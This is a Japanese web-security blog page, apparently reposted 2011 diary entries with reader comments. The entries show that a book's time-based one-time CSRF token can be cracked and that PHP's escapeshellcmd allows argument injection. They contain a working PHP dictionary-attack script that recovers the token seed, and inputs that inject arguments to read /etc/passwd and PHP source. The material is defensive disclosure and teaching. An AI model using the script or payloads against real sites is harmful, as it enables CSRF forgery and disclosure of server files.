2011年1月27日木曜日

CSRF対策のトークンをワンタイムにしたら意図に反して脆弱になった実装例

補足

この記事は旧徳丸浩の日記からの転載です(元URLアーカイブはてなブックマーク1はてなブックマーク2)。
備忘のため転載いたしますが、この記事は2011年1月27日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

橋口誠さんから今話題の書籍パーフェクトPHP (PERFECT SERIES 3)を献本いただきました。ありがとうございます。このエントリでは同書のCSRF対策の問題点について報告したいと思います*1。 本書では、CSRFの対策について以下のように説明されています(同書P338)。
CSRFへの対応方法は、「ワンタイムトークンによるチェックを用いる」「投稿・編集・削除などの操作の際にはパスワード認証をさせる」などがあります。一番確実な方法は両者を併用することですが、ユーザ利便性などの理由から簡略化する場合でもワンタイムトークンによるチェックだけは実装するべきです。
ワンタイムトークンの利用を推奨していますが、実はCSRF対策の場合ワンタイム性は必須ではありません。安全なウェブサイトの作り方のCSRF対策の項には以下のように書かれています。
まず、利用者の入力内容を確認画面として出力する際、合わせて秘密情報を「hidden パラメータ」に出力するようにします。この秘密情報は、セッション管理に使用しているセッションID を用いる方法の他、セッションID とは別のもうひとつのID(第2 セッションID)をログイン時に生成して用いる方法などが考えられます。生成するID は安全な擬似乱数を用いて、第三者に予測困難なように生成する必要があります。
[安全なウェブサイトの作り方より引用]
秘密情報(トークン)としてセッションIDを用いる方法の他、セッションIDとは別に安全な乱数を用いてトークンを生成する方法が記載されています。トークンを生成する場合も「ログイン時に生成」とあることから、セッション毎にユニークではあっても、ワンタイム性は求めていません。すなわち、CSRF対策のトークンの必須要件は「第三者から推測が困難」という推測困難性だけです。しかし、書籍などを見ていると、安全でないワンタイムトークンの生成方法が紹介されていることがあります。ワンタイムにすることで、更にセキュリティを強化するつもりなのでしょうが、これではセッションIDをトークンとして用いる方法よりも安全性が下がってしまいます。

パーフェクトPHPの場合はどうでしょうか。同書P339からP340には以下のようにトークン生成のスクリプトが紹介されています。
function get_oken($key = '') {  // 引用者注:関数名は誤植らしい
  $_SESSION['key'] = $key;
  $token = sha1($key);
  return $token;
}
// 中略
// ワンタイム生成用文字列
$seed = 'secret';
// 中略
$key = $seed . '_' . microtime();
$token = get_token($key);
ご覧のように、「種」となる$seed(この場合は「secret」)とマイクロ秒までの日時を連結してSHA-1ハッシュをとったものとなっています。しかし、マイクロ秒とはいえ日時を元にしているので、予測可能な情報を元にトークンを生成していることになり、心配です。$seedの値がばれなければ攻撃は難しいと思われるかもしれませんが、パーフェクトPHPには$seedに関する注意はなく、そのままコピペして使う人が出てきそうです。その場合は、はっきりと脆弱性といえるでしょう。

あるいは、$seedの値が'secret'となっているわけだから、明記はされていないが暗黙の了解として$seedは本番環境では変更して使うのだという意図かもしれません。仮にそうだとして、パーフェクトPHPに説明されているCSRF対策(以下パーフェクト方式と表記)の$seedの値を外部から推測できないかを実験してみました。以下の実験では、パーフェクト方式の$seedをパスワードのような数文字の文字列と想定して、辞書攻撃による推測を試みます。

まず、攻撃対象のサイトですが、簡単にするために、単にトークンを生成して返すだけです。
<?php
$seed = 'secret';
$key = $seed . '_' . microtime();
$token = sha1($key);
echo $token;
?>
このトークンを元に、$seedを辞書攻撃で解析するスクリプトをPHPで作成しました。スクリプトは以下の通りです。
<?php
function get_token($seed, $microtime) {
  $key = $seed . '_' . $microtime;
  return sha1($key);
}

function calc_diff_time($a, $diff) {
  $a0 = $a[0] + $diff;
  $a1 = $a[1];
  if ($a0 > 1000000) {
    $a0 -= 1000000;
    $a1++;
  } else if ($a0 < 0) {
    $a0 += 1000000;
    $a1--;
  }
  //printf("0.%06d00 %d\n", $a0, $a1);
  return sprintf("0.%06d00 %d", $a0, $a1);
}

function get_dictionary() {
  $dic = array();
  $fp = fopen('password.lst', 'r');
  while (! feof($fp)) {
    $line = rtrim(fgets($fp, 1024));
    if ($line !== '' && $line[0] !== '#') {
      $dic[] = $line;
    }
  }
  fclose($fp);
  return $dic;
}

function check_token($token, $seed, $microtime) {
  $token1 = get_token($seed, $microtime);
  return ($token == $token1);
}

  $dic = get_dictionary();

  $m0 = microtime();
  $token = file_get_contents('http://example.jp/onetimetoken.php');
  $m1 = microtime();
  echo 'server token: ' . $token . "\n";

  $m = $m0;
  echo "m0 = $m0\n";
  echo "m1 = $m1\n";
  $a = explode(' ', $m);
  $a[0] = (int)substr($a[0], 2, 6);
  $a[1] = (int)$a[1];

  $count = count($dic);
  for ($t = 0; $t < 1000000; $t++) {
   $mx1 = calc_diff_time($a, $t);
   $mx2 = calc_diff_time($a, -$t);
   for ($i = 0; $i < $count; $i++) {
    $seed = $dic[$i];
    if (check_token($token, $seed, $mx1)) {
      echo "seed = $seed\n";
      echo "match $t\n";
      echo "microtime = $mx1\n";
      exit(0);
    }
    if (check_token($token, $seed, $mx2)) {
      echo "seed = $seed\n";
      echo "match -$t\n";
      echo "microtime = $mx2\n";
      exit(0);
    }
   }
  }
これは以下の手順で$seedの値を推測しています
  1. 辞書ファイルを読み込む
  2. 攻撃対象サイトにアクセスしてトークンを得る
  3. 現在時刻を基準に、時刻を1マイクロ秒ずつ前後にずらしながら繰り返し
  4. 辞書中の単語を順に試しながらトークンを生成する
  5. 攻撃対象から得たトークンと一致するものがあれば終了
辞書ファイルとしてはJohn the Ripperに添付された約3000語のパスワード辞書を用いました。実行例を以下に示します。
$ time php get-seed.php
seed = secret
match -4940
microtime = 0.84839400 1296101921

real    2m7.532s
user    2m7.238s
sys     0m0.056s
2分7秒で$seedがsecretであることが判明しています。2分7秒はチャンピオンデータであり、これより時間が掛かる場合もありますが、30分もあればほぼ確実に$seedが得られます。すなわち、辞書にのっているような単語を$seedに使ってしまうと、現実的な時間内に$seedが解読され、CSRF攻撃される可能性があるということです。

なお、本書のP340では、ワンタイムトークンのチェックの際に、トークンが一致した場合のみセッション変数からトークンを削除していますが、本来はマッチしない場合もトークンを削除するべきです。トークンが一致しない場合にセッション変数のトークンを削除していないので、攻撃者はマイクロ秒単位の時刻をずらしながらトークンを生成して次々に攻撃することで、攻撃確率を高めることができます。

まとめ

パーフェクト方式のCSRF対策は現在時刻を元にしているので、ハッシュ関数を通しても、内部の「種」の文字列を推測される危険性があります。そして、種がばれてしまうと、ワンタイムトークンは時刻の関数となるので、トークン推測によるCSRF攻撃の危険性があります。マイクロ秒単位の時刻を元にしているので、攻撃成功の確率は高くはありませんが、時刻推測の精度を高め、攻撃を繰り返すことにより、攻撃が成功する確率を高めることが可能です。

興味深いことに、この事例は、ワンタイムトークンを選んだことにより、かえって攻撃の成功確率が高くなっています。もしもセッション開始時に同じ方法でトークンを生成した場合、セッション開始時刻を攻撃者が正確に推測することは困難なので、攻撃の成功率はかなり低くなります(ただし、その場合でも時刻を元にしたトークンは好ましくありません)。一方、ワンタイムトークンの場合は、トークンを生成するページを罠ページから閲覧させることにより、トークンの元となる時刻はかなり正確に測定できます。そのため、トークンが一致する確率も高くなります。

この事例から得られる教訓は、トークン生成は安全な乱数を用いるべきであり、安全な疑似乱数生成器がない場合は、セッションIDそのものを使う方法が妥当だということです。ワンタイムにすることで一層セキュアにしようとした意図があだとなり、かえって危険な実装になったのは皮肉としか言いようがありません。

なお、同書のP255には、「実践的な開発におけるワンタイムトークンの実装例」があり、こちらはトークン生成の種にセッションIDも含めているので、上記のような脆弱性はありません。しかし、ここで紹介した方の対策が「脆弱な例」と説明されているわけではないので、読者は注意が必要です。

*1 献本の批判をすることに最初躊躇しておりましたが、橋口さんからどんどん指摘してくださいというコメントを頂きましたので、公開に踏み切りました。橋口さんの寛大な態度に敬意を表します。


本日のツッコミ(全9件)

□ ふるふる (2011年01月31日 18:14) こんにちは.マイクロ秒の値を総当りしてseedを推定すると聞いて,1996年に発表されたNetscapeNavigator(ver1.1)の擬似乱数生成への攻撃を思い出しました.
サーバとの通信無しで攻撃が実行できるか否かなど,いろいろな前提条件はあるのでしょうが,もはや時刻を種に追加しても安全性は
たいして向上しないということなのでしょうね.

CRYPTREC 2003年度暗号技術関連の調査報告 0210 SSL安全性調査報告書<詳細編> のp97, http://www.cryptrec.go.jp/estimation.html#2003
「OpenSSL 暗号・PKI・SSL/TLSライブラリの詳細」オーム社 p22.

□ methane (2011年02月07日 12:13) CSRF対策tokenをワンタイム化し、複数のtokenを残しているのは、ユーザーが同一のフォームを複数並列に
表示してsubmitすることを許可するためのフォーム識別トークンとしても利用するのが目的だと理解しています。

ワンタイムであることが脆弱性の原因ではなく、安全な擬似乱数を使ってないこと、$seedの中身が辞書攻撃可能であることが原因ですよね?
パーフェクトPHPにも説明不足な点があるのかもしれませんが、だとすればこの記事のタイトルにも、
まるで「ワンタイムにしたら脆弱になるケースがある」と誤読させているように感じました。
# それを狙った釣りだったらすみません。

□ 徳丸浩 (2011年02月07日 13:29) methaneさん、コメントありがとうございます。
〉ワンタイムであることが脆弱性の原因ではなく、安全な擬似乱数を使ってないこと、$seedの中身が辞書攻撃可能であることが原因ですよね?

その通りです。
しかし、ワンタイムにしたから、攻撃が容易になったとは言えます。ワンタイムトークンを時刻を元に生成している上に、ワンタイムトークン生成する時刻を攻撃者が制御可能になるからです。「攻撃が容易になった」ことを「意図に反して脆弱になった」と書いたわけですが、それほど不正確な書き方ではないと思います。ただ、根本原因がワンタイムトークンの使用にあるわけでないことはご指摘の通りです。

それと、以下の指摘ですが、

〉CSRF対策tokenをワンタイム化し、複数のtokenを残しているのは、ユーザーが同一のフォームを複数並列に
〉表示してsubmitすることを許可するためのフォーム識別トークンとしても利用するのが目的だと理解しています。

私が引用したのは、パーフェクトPHPのP338のサンプル(csrf_02.php)ですが、こちらは「複数のtokenを残して」いません。「複数のtokenを残している」のは、同書のP255の「実践的な開発におけるワンタイムトークンの実装例」の方ですね。csrf_02.phpの方は、「ユーザーが同一のフォームを複数並列に表示してsubmitする」とエラーになる場合があり、これはワンタイムトークンを使ったことの副作用ですが、私のエントリでは指摘していません。
ワンタイムトークンによる実装には気をつけなければならないポイントがあり、金床さんの本ではさすがにきちんと押さえていますが、一方で安直な考え方により、(セッションIDをトークンとして用いるシンプルな方法に比べて)安全でない実装が多いのが現状です。その状況に警鐘を鳴らしたいと思っていたところに、ちょうどよい事例が見つかったのでこのエントリを書いたのでした。「ワンタイムだと安全そう」、「ハッシュをとっとけば安全」という安直な発想はかえって危険になることを実例を元に指摘したかったのです。

□ methane (2011年02月07日 14:21) なるほど、たしかにワンタイム方式だと予測可能なトークンを使用している場合に
辞書アタックなどのブルートフォース方式が使えますね。
穴になるというより、穴を広げるという意味で、ワンタイムトークンにも危険があることを理解できました。
ありがとうございます。

□ らいあ (2011年07月11日 20:47) はじめまして。

sha1( uniqueid( mt_rand(), true));

というのが PHP業界では定番のコードだと思うのですが、

このコードではアウトなのでしょうか?

□ 徳丸浩 (2011年07月11日 21:04) らいあさん、こんにちは

> sha1( uniqueid( mt_rand(), true));

ご指摘のように、定番的によく使われていますが、これは暗号論的擬似乱数生成器ではないと思います。暗号論的擬似乱数生成器については、WikiPediaの解説が丁寧です。

http://ja.wikipedia.org/wiki/%E6%9A%97%E5%8F%B7%E8%AB%96%E7%9A%84%E6%93%AC%E4%BC%BC%E4%B9%B1%E6%95%B0%E7%94%9F%E6%88%90%E5%99%A8

 ここにもあるように、暗号論的擬似乱数生成器とは、乱数に対する攻撃に耐えるための要件を満たした疑似乱数生成器のことです。身近な例としては、/dev/randomや/dev/urandomがあります。
 sha1( uniqueid( mt_rand(), true)) に対する攻撃方法を私が知っている訳ではないのですが、安全性が証明された方法がある以上は、そうでない方法を使う理由がないと思います。自己流でやると、このエントリで指摘したような脆弱性が入る場合があるわけですから。

□ こういち (2011年07月13日 22:57) いつも参考にさせていただいております。ありがとうございます。
また書籍も購入させていただきました。

さて今回「疑似乱数生成器の身近な例として」"/dev/random"や"/dev/urandom"が紹介されていましたが、バージョン4のUUIDはいかがでしょうか。ご意見をいただければ幸いです。

高木様のエントリー「今こそケータイID問題の解決に向けて」に「こうしたランダムIDというのは、たとえば「Version 4 UUID」(UUID: Universally Unique IDentifier)として規格化されており、、、」という記述があり、これでいけるかと考えていたのです。が、本日調べ直したらRFC-4122の6に"Do not assume that UUIDs are hard to guess"の一文を見つけた次第です。

□ いーさん (2012年09月27日 20:07) 例が脆弱になったのは、トークンの生成に公開されているロジックを使っていることが原因です。ワンタイムかどうかは関係ありません。

攻撃者が、$seedの値を特定したい場合は、攻撃者自らがサイトにアクセスすれば、接続時の時間は任意に出来ます。この場合、トークンがセッション毎に固定でも、ワンタイムでも、脆弱性は変わりません。

攻撃者が辞書攻撃が可能になったのは、
$key = $seed . '_' . microtime();
を元に生成していることを攻撃者が知っているからです。
もしも、
$key = $seed . '_' . microtime() . '_';
で実装されていたら、辞書攻撃はすべて失敗します。


また、セッションIDをトークンに使うのはあまり良いアイディアとは思えません。論拠は、以下のサイトをご覧下さい。

http://www.jumperz.net/texts/csrf.htm

□ かめ (2012年11月29日 19:43) はじめまして。

徳丸さんの記事については、そういう例もあるんだなーと
思いながら拝見しておりました。勉強になります。

1つワンタイムの是非よりも気になったことがあります。

いーさんさんが記載しているサイトの論拠には
> ■「CSRF以前の問題」については考えない
とあります。

> トークンの漏洩が即セッションIDの漏れに繋がってしまうため
の「トークンの漏洩」は「CSRF以前の問題」にあたるのではないかと思ったんですがどうなんでしょう…

実際のところ「セッションIDそのものを使う方法」を採用することで、
上記以外に何かまずいことが起きたりするのでしょうか。

私はセッションIDでいいものと思ってたので、気になりました。
(話がそれてたらすみません。)

2011年1月4日火曜日

escapeshellcmdの危険な実例

補足

この記事は旧徳丸浩の日記からの転載です(元URLアーカイブはてなブックマーク1はてなブックマーク2)。
備忘のため転載いたしますが、この記事は2011年1月4日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

先日の日記PHPのescapeshellcmdの危険性ではPHPのescapeshellcmd関数の危険性について指摘しましたが、脆弱となる実例を挙げていなかったので、「本当に危険なのか」と半信半疑の方もおられると思います。そこで、同関数が危険となる実例を考えたので報告します。
grepを使って、サーバー内を検索するスクリプトを考えます。
<?php
  header('Content-Type: text/html; charset=UTF-8');
?>
<html>
<body><pre>
<?php
  $key = @$_GET['key'];
  $out = shell_exec('grep --no-filename "' . escapeshellcmd($key) . '" /var/data/*');
  echo htmlspecialchars($out, ENT_COMPAT, 'UTF-8');
?>
</pre></body>
</html>
このスクリプトは、外部からのキーワードを/var/data/内のファイル群から検索して表示するものです。PHPのshell_execute関数を用いて、実行結果を文字列として返し、htmlspecialcharsでHTMLエスケープしています。検索キーはescapeshellcmdでエスケープした結果をダブルクォートで囲っています。
一見、なんの問題もないスクリプトに見えます。まずは正常系の結果です。key=bookで実行してみます。
book:村上春樹
book:芥川龍之介
book:シェークスピア
bookを含む行が表示されました。
次に攻撃です。key=:"+"/etc/passwd として実行してみます。以下の結果となります。
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
…略
/etc/passwdの内容が表示されました。エスケープしているのに、なぜこの結果になるのでしょうか。
それは、escapeshellcmdが「' および " は、対になっていない場合にのみエスケープされます。」という仕様のためです。このため、grepの起動文字列は次のようになっています。
grep --no-filename ":" "/etc/passwd" "/var/data/*"
/etc/passwdの各行にはコロンが含まれていますから、これで/etc/passwdの全行が表示されます。適当な文字がなければ「$」(行末にマッチ)などを指定してもいいですね。 あるいは、PHPのソースを表示することもできます。key=$"+"/var/www/html/grep.php と指定すると、以下の表示になります。
<?php
  header('Content-Type: text/html; charset=UTF-8');
?>
<html>
<body><pre>
<?php
  $key = @$_GET['key'];
この検索プログラム自体のソースが表示されました。スクリプトのソースが見えれば、他の脆弱性を探すのも楽ちんですよね。
escapeshellcmdの「' および " は、対になっていない場合にのみエスケープされます。」という仕様により、1つのパラメータが2つのパラメータに分かれてしまうことが問題です。これはescapeshellcmdの脆弱性というよりは、仕様の不備と言うしかないでしょうね。マニュアルに書いてある通りの動作が問題な訳ですから。というわけで、escapeshellcmdよりはescapeshellargを使えということと、そもそもOSコマンドを呼ばないなどのもっと良い方法を検討しましょう、というお話です。

2011年1月1日土曜日

PHPのescapeshellcmdの危険性

補足

この記事は旧徳丸浩の日記からの転載です(元URLアーカイブはてなブックマーク1はてなブックマーク2)。
備忘のため転載いたしますが、この記事は2011年1月1日に公開されたもので、当時の徳丸の考えを示すものを、基本的に内容を変更せずにそのまま転載するものです。
補足終わり

本を書いています。初稿を一通り書き上げ、第2稿を作成中です。その過程で見つけたことを報告します。 PHPのescapeshellcmdはパラメータをクォートしないので呼び出し側でクォートする必要がありますが、escapeshellcmdの仕様がまずいために、呼び出し側でクォートしても突破できることが分かりました。

escapeshellcmdの仕様

PHPにはシェルのパラメータをエスケープする関数が2つあります。escapeshellargとescapeshellcmdです。escapeshellargは、エスケープだけでなくシングルクォートでクォートもしてくれます(引用符で囲むことをクォートするといいます)。エスケープ方法も、シングルクォートで囲む場合のエスケープ方法に従っているので、割合安心して利用できます*1。一方、escapeshellcmdは、エスケープのみでクォートしないので、呼び出し側でクォートする必要があります。
PHPのマニュアルには、このあたりのことがちゃんと書いてあります。
<?php
$e = escapeshellcmd($userinput);
// ここでは $e がスペースを含んでいても関係ない
system("echo $e");
$f = escapeshellcmd($filename);
// ここでは気を遣い、クォートを使用する
system("touch \"/tmp/$f\"; ls -l \"/tmp/$f\"");
?>
[PHP: escapeshellcmdより引用]
スペースのことを気にする理由は、スペースにより第2、第3の追加のパラメータを挿入される攻撃を防ぐためでしょう。その考え方自体は問題ありません。しかし、ここに穴はないでしょうか。 追加のパラメータの挿入を防ぐためには、ダブルクォートで囲むだけではダメで、パラメータ中にダブルクォートがある場合は、ダブルクォートをエスケープする必要があります。以下のように。
  echo "abc\"def"
この結果は「abc"def」となります。ところが、escapeshellcmdはダブルクォートをエスケープしますが、マニュアルに妙なことが書いてあります。
' および " は、対になっていない場合にのみエスケープされます。
[PHP: escapeshellcmdより引用]
ということは、対になっている場合はエスケープしないのでしょうか。さっそく試してみましょう。
' および " は、対になっていない場合にのみエスケープされます。
【サンプル】
<?php
   echo escapeshellcmd('abc"def"ghi') . "\n";
【実行結果】
abc"def"ghi
マニュアルに書いてある通りですね。ダブルクォートが3個以上の場合は、偶数の場合はエスケープなし、奇数の場合は最後のダブルクォートのみエスケープされるようです。しかし、これではまずい場合があります。PHPのマニュアルに書いてある「気を遣」っている方のサンプルに、「aaa" "/etc/passwd」を入力してみましょう。
' および " は、対になっていない場合にのみエスケープされます。
【スクリプト】
$filename = 'aaa" "/etc/passwd';
$f = escapeshellcmd($filename);
system("touch \"/tmp/$f\"; ls -l \"/tmp/$f\"");
【実行結果】
 touch: `/etc/passwd'にtouchできませんでした: Permission denied
 -rw-r--r-- 1 root    root    1320 2010-12-31 14:48 /etc/passwd
 -rw-r--r-- 1 wasbook wasbook    0 2011-01-01 17:33 /tmp/aaa
第2のパラメータとして、/etc/passwdが挿入されています。touchの方は権限がないのでエラーになっていますが、lsの方はしっかり表示されています。この際のsystem関数の引数は以下の通りです。
' および " は、対になっていない場合にのみエスケープされます。
touch "/tmp/aaa" "/etc/passwd"; ls -l "/tmp/aaa" "/etc/passwd"
コマンドラインという観点からは非の打ち所がない指定ですが、セキュリティという観点では非常に問題です。これにより、意図しないファイルを追加されたり、オプションを追加する(例えば、findコマンドの-execオプション)ことで、意図しない動作を引き起こす可能性があります。

この原因は、escapeshellcmdの「' および " は、対になっていない場合にのみエスケープされます」という仕様にあります。まったく余計なお世話としか言いようがありません。この仕様では、恐ろしくてescapeshellcmdは使えませんし、マニュアルにここまではっきり書いてある仕様を今さら変えられないでしょう。escapeshellcmdはお蔵入りするしかないと思います。幸い、escapeshellargの方はまともな仕様と思われますので、escapeshellargで代替してください。

ただし、そもそもOSコマンドを呼ぶのがよいかとか、もっと良い方法はないのかという疑問が出てきます。もっと良い方法はあります。それは、本が出てからのお楽しみ、ということで。

追記:2011年1月4日 12:50

escapeshellcmdを使うと危険となる実例について、日記を書きましたので参考になさってください。。escapeshellcmdの危険な実例

*1 ただし、ロケールの問題は注意が必要です

フォロワー